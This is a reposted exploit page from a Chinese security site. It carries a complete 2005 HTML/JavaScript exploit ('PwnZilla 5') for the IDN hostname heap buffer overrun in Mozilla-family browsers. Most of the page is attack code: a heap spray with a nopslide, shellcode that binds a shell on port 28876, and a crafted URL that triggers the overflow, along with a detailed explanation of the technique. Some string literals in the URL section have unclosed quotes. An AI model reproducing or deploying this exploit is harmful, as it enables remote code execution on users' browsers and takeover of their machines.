首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Mozilla Browsers Remote Heap Buffer Overrun
来源:berendjanwever@gmail.com 作者:Berend-Jan 发布时间:2005-09-29  

Mozilla Browsers Remote Heap Buffer Overrun (Exploit , 0xAD HOST)

Summary
Mozilla is - "An open-source XML/HTML browser which is implementing full Level 2 DOM support"

A heap buffer overrun vulnerability exists in Mozilla browsers, exploiting this vulnerability this exploit binds a shell on port 28876.

Credit:
The information has been provided by Berend-Jan Wever.
The original article can be found at: http://www.milw0rm.com/id.php?id=1224

Details

Exploit:
< HTML>< SCRIPT>
/*
_______________________________________________________________________________

SSSSSSS, SSSSSSS' PwnZilla 5 - One sploit fits all. (FireFox optimized)
iSY iS; .sS* Exploit for IDN host name heap buffer overrun in
.SSSSSSS* .sS* Mozilla browsers (FireFox, Mozilla and Netscape)
iS; .sS* Copyright (C) 2003-2005 by Berend-Jan Wever.
.SS sSSSSSSP < berendjanwever@gmail.com>
_______________________________________________________________________________
Official release: http://www.milw0rm.com/id.php?id=1224

This program is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License version 2, 1991 as published by
the Free Software Foundation.

This program is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.

A copy of the GNU General Public License can be found at:
http://www.gnu.org/licenses/gpl.html
or you can write to:
Free Software Foundation, Inc.
59 Temple Place - Suite 330
Boston, MA 02111-1307
USA.

One sploit to rule them all, One sploit to find them,
One sploit to bring them all and to port 28876 bind them.

Credits and thanks:
Aviv Raff - Thanks for helping me advance the heap spray technology.
str0ke/www.milw0rm.com - Thanks for testing and hosting the exploit.
HDM/www.metasploit.com - Thanks for the basis of my shellcode.

Technical details:
Since Netscape has not replied to reports about this vulnerability I've
chosen to release it. Since there is no patch out yet, this version does
not target all affected browsers. It is optimized to work with FireFox, who
do have a patch out, but on a rare occasion it will work in Netscape.

This exploits a heap overrun. Rather then trying to beat the security of
modern heap managers, I ignore them and try to overwrite data in the
heap blocks after the block we overrun. It's a game of chance where we
hope the targetted browser will use this overwritten data in a call before
it throws an access violation. We have some control over the odds, more
on that later.

Exploitation is achieved by using the same old heap blocks trick that I've
published about a year ago in my Internet Exploiter exploits. It creates a
string that contains a nopslide and a shellcode. This string is (almost)
exactly large enough to fit into a large heap block. It makes copies
of the string to create more large heap blocks. These heap blocks will fill
all memory between roughly 0x02000000 and 0x28081976. The nopslide consists
of values that can be used as code and pointers; these pointers will all
point to addresses in this same region of memory.
The actually vulnerability is used when it creates a number of image
objects and set their "src" to a url that exploits it to overwrite random
parts of heap memory with a range of addresses that all point to the large
heap blocks.
While it continues to create more and more images, chances are that some
part of FireFox will use the overwritten parts of the heap in a "call" or
"jmp". This will cause our shellcode to get executed.

Previous exploits have all relied on one address being used in the nopslide
and in exploiting the vulnerability to overwrite EIP, that's why you see
0x0D0D0D0D in so many of my exploits and other exploits based on my code.
Because in previous exploits the vulnerable code would just read from this
address and/or call it, this worked pretty well.
This exploit is overwriting random parts of the heap and may therefore
overwrite a number of pointers that may be used in a write operation.
This causes a problem if some part of the code writes to one of our
addresses first and then another part calls it, thereby executing
whatever value the first part overwrote it with as assembly. This may
translate to instructions that cause exceptions, preventing the exploit
from working. To increase our chances of success, we supply it with a
variety of addresses, in an effort to make different parts of the
program use different addresses and hope we end up with executing a
"clean" nopslide.

For Netscape, addresses < 0x10000000 have proven to not work because it
has a tendency to add random blocks to the heap while we're spraying
(for no apparent reason). These somehow always end up exactly where we
don't want them.

*/
var startDate = new Date();
var iFillToAddress = 0x28081976;
var iHeapBlockSize = 0x00200000;
var iHeapHeaderSize = 0x40; // This should work for all browsers/OS-es.
var iHeapStartAddress = 0x00420000;
// The %uXXXX encoding proved hard for a lot of people... damn n00bs!
var sShellcodeBytes = // Make sure the number of bytes is EVEN!
"90 90 90 90 eb 43 56 57 8b 45 3c 8b 54 05 78 01 ea 52 8b 52 20 01 " +
"ea 31 c0 31 c9 41 8b 34 8a 01 ee 31 ff c1 cf 13 ac 01 c7 85 c0 75 " +
"f6 39 df 75 ea 5a 8b 5a 24 01 eb 66 8b 0c 4b 8b 5a 1c 01 eb 8b 04 " +
"8b 01 e8 5f 5e ff e0 fc 31 c0 64 8b 40 30 8b 40 0c 8b 70 1c ad 8b " +
"68 08 31 c0 66 b8 6c 6c 50 68 33 32 2e 64 68 77 73 32 5f 54 bb 71 " +
"a7 e8 fe e8 90 ff ff ff 89 ef 89 c5 81 c4 70 fe ff ff 54 31 c0 fe " +
"c4 40 50 bb 22 7d ab 7d e8 75 ff ff ff 31 c0 50 50 50 50 40 50 40 " +
"50 bb a6 55 34 79 e8 61 ff ff ff 89 c6 31 c0 50 50 35 02 01 70 cc " +
"fe cc 50 89 e0 50 6a 10 50 56 bb 81 b4 2c be e8 42 ff ff ff 31 c0 " +
"50 56 bb d3 fa 58 9b e8 34 ff ff ff 58 60 6a 10 54 50 56 bb 47 f3 " +
"56 c6 e8 23 ff ff ff 89 c6 31 db 53 68 2e 63 6d 64 89 e1 41 31 db " +
"56 56 56 53 53 31 c0 fe c4 40 50 53 53 53 53 53 53 53 53 53 53 6a " +
"44 89 e0 53 53 53 53 54 50 53 53 53 43 53 4b 53 53 51 53 87 fd bb " +
"21 d0 05 d0 e8 df fe ff ff 5b 31 c0 48 50 53 bb 43 cb 8d 5f e8 cf " +
"fe ff ff 56 87 ef bb 12 6b 6d d0 e8 c2 fe ff ff 83 c4 5c 61 eb 89 ";
var sShellcode = unescape(
sShellcodeBytes.replace(
// ...I now use regular expressions (thanks, Secunia! :P)
/\s*([0-9A-Fa-f][0-9A-Fa-f])\s*([0-9A-Fa-f][0-9A-Fa-f])/g,
"%u$2$1"
)
);

// Experimenting with a debugger has let to this string, which uses the max
// hostname length FireFox allows (63 bytes) to create the largest
// overwrite possible. Each of the 0xAD-s gets expanded into two bytes,
// which in theory would allow for a 126 bytes overwrite. But in practise
// FireFox will use 32 of these bytes for other things like the "http://",
// '/', '\0' and some other stuff. This leaves us with 94 bytes and a \0 to
// overwrite heap memory with.
var sURL = unescape(
"http://" +
"%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD +
"%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD" +
"%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD +
"%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD" +
"%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD +
"%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD" +
"/" +
// Characters under 0x21 cannot be used, neither can 0x22. This
// is what we overwrite the heap with, so everything needs to be a
// pointer to one of our nopslides.
"%21%21%25%21%23%21%24%25%25%23%25%24%23%23%24%24" +
"%21%21%25%21%23%21%24%25%25%23%25%24%23%23%24%24" +
"%21%21%25%21%23%21%24%25%25%23%25%24%23%23%24%24" +
"%21%21%25%21%23%21%24%25%25%23%25%24%23%23%24%24" +
"%21%21%25%21%23%21%24%25%25%23%25%24%23%23%24%24" +
"%21%21%25%21%23%21%24%25%25%23%25%24%23%23"
);
// Create one nopslide -------------------------------------------------
var sNopslide = "";
var iNopslideSize = iHeapBlockSize - iHeapHeaderSize
- sShellcode.length * 2 - 2; // NULL terminator adds 2
var sAllWorkAndNoPlayMakesJackADullBoy = unescape(
// A list of addresses we hope our browser will use in a call or jmp.
// They should all point to a nopslide, preferably all to a different
// one _and_ be valid "nop" instructions too.
"%u1414%u1415%u141C%u141D%u1514%u1515%u151C%u151D" +
"%u1C14%u1C15%u1C1C%u1C1D%u1D14%u1D15%u1D1C%u1D1D"
);
// (Make sure that ^^^ has a length that is a power of 2 (2, 4, 8 ,16, ...)
// The code below isn't sophisticated enough to handled other lengths.
for (var bit = Math.pow(2, 31); bit > 1; bit /= 2) {
sNopslide += sNopslide + (
iNopslideSize & (bit*sAllWorkAndNoPlayMakesJackADullBoy.length) ?
sAllWorkAndNoPlayMakesJackADullBoy : ""
);
}
// We've only made complete copies of the string, we may need a part of it
// to make it exactly the size we want it to be:
sNopslide = sNopslide + sAllWorkAndNoPlayMakesJackADullBoy.substr(0,
iNopslideSize/2 - sNopslide.length
);
// How many blocks do we need to fill memory up to iHeap_fill_to_address?
var iHeapBlockCount = Math.ceil(
(iFillToAddress - iHeapStartAddress) / iHeapBlockSize
);

// Show copyright message and some stats ----------------------------------
document.write(
"< H2>Pwnzilla< /H2>" +
"< B>Copyright (C) 2003-2005 Berend-Jan \"SkyLined\" Wever.< /B>< BR>" +
"This program is released under the GNU Public License version 2, " +
"1991 and comes with ABSOLUTELY NO WARRANTY. View source for " +
"details.< HR>" +
"< H2>Multi threaded heap spray 2005< /H2>" +
"Assumed heap header size: " + number(iHeapHeaderSize) + " bytes.< BR>"+
"Nopslide size: " + number(sNopslide.length*2) + " bytes.< BR>" +
"Shellcode size: " + number(sShellcode.length*2) + " bytes.< BR>" +
"Heap blocks size: " + number(iHeapBlockSize) + " bytes.< BR>" +
"< SPAN id=\"heapBlockStatus\">" +
"Allocating " + number(iHeapBlockCount) + " heap blocks...< BR>" +
"< DIV style=\"border:1px solid black; background:#808080; " +
"width:500px;\">< DIV style=\"text-align:right; " +
"border-right:1px solid black; background:#00FF00;\" " +
"id=\"progressBar\">0< /DIV>< /DIV>" +
"< /SPAN>" +
"< SPAN id=\"exploitStatus\">< /SPAN>"
);
var heapBlockStatusElement = document.getElementById("heapBlockStatus");
var progressBarElement = document.getElementById("progressBar");
var exploitStatusElement = document.getElementById("exploitStatus");

var asHeapBlocks = new Array();

// The next part uses timeouts to run in the background.
createHeapBlock();
function createHeapBlock() {
if (asHeapBlocks.length < iHeapBlockCount) {
// Create a heap block --------------------------------------------
asHeapBlocks.push(sNopslide + '' + sShellcode);
var percentageDone = Math.round(
100*asHeapBlocks.length/iHeapBlockCount
);
progressBarElement.innerHTML =
"< NOBR>" +
bytes(asHeapBlocks.length*asHeapBlocks[0].length*2) +
"< /NOBR>";
progressBarElement.style.width = percentageDone + "%";
setTimeout(arguments.callee, 10);
} else {
// Done creating heap blocks --------------------------------------
// Show stats
heapBlockStatusElement.innerHTML =
"Heap blocks count: " + asHeapBlocks.length + ".< BR>" +
"Total heap consumption: " +
bytes(asHeapBlocks.length*asHeapBlocks[0].length*2) +
".< BR>" +
"Elapsed time: " +
time(new Date() - startDate) + ".< HR>" +
"< H2>Exploit< /H2>" +
"Attack URL (size: " +
number(sURL.length*2) + " bytes):< BR>" +
""" + escape(sURL) + ""< BR>< BR>";
// Ask if you want to get pwned
exploitStatusElement.innerHTML =
"< BUTTON onclick=\"FiredFox();\">" +
"Click here if you want to run the actual exploit" +
"< /BUTTON>";
}
} // createHeapBlock()
function FiredFox() {
exploitStatusElement.innerHTML =
"Running exploit code...< BR>" +
"(It may take some time before the exploit works. You should " +
"see a progress bar below. If it stops, it either worked and a " +
"shell is waiting for you at port 28876 or your browser has " +
"gone into an infinite loop).< BR>";
setInterval(function() {
var oElement = new Image();
oElement.src = sURL+""; // This is where we abuse the flaw.
oElement.border = 1;
oElement.width = 1;
oElement.height = 10;
document.body.appendChild(oElement);
}, 1);
} // FiredFox()

function number(iValue) {
// Returns a "pretty" string representation of a number:
// number(1000000.5) == "1,000,000.5"
var sResult = "" + iValue;

for (var sResult = ""; iValue > 0; iValue = Math.floor(iValue/1000)) {
sResult = (iValue % 1000) +
(sResult.length > 0 ? "," + sResult : "");
if (iValue > 1000 && sResult.length % 4 < 3)
sResult = "0" + sResult;
}
return sResult;
} // number()

function bytes(iValue) {
// Returns a "pretty" string representation of a number of bytes:
// bytes(1000000.5) == "976.57 KB"
var aUnits = new Array(
"Bytes", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB"
);
for (var i = 0; iValue > 1024; i++, iValue /= 1024) {}
sResult = number(Math.ceil(iValue * 100) / 100) + // Two decimals
" " + aUnits[i]
return sResult;
}// bytes()
function time(iValue) {
// Returns a "pretty" string representation of an elapsed number of
// milliseconds:
// time(1000000.5) == "16m 40s 1 s"
var aUnits = new Array(
new Array(1000, unescape("%u03BCs")),
new Array(60, "s"),
new Array(60, "m"),
new Array(24, "h"),
new Array(7, "d"),
new Array(52, "y")
);
sResult = "";

for(var i=0; iValue > 0 && i< aUnits.length; i++) {
var iSize = aUnits[i][0], sUnit = aUnits[i][1];
sResult = Math.round(iValue % iSize) + sUnit +
(i>0 ? " " : "") + sResult;
iValue = Math.floor(iValue / iSize);
}
return sResult;
} // time()
< /SCRIPT>< /HTML>



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Gadu-Gadu Invisible Users Dete
·HP LaserJet Network Username a
·Wzdftpd Code Execution
·Qpopper Poppassd Local Root
·My Little Forum SQL Injection
·Barracuda Spam Firewall img.pl
·MultiTheftAuto Privileges Esca
·BlenderPlayer Local Buffer Ove
·Realplayer and Helix Player RP
·PHP-Fusion msg_send SQL Inject
·GNU Mailutils imap4d search Co
·ProZilla ftpsearch Results Han
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved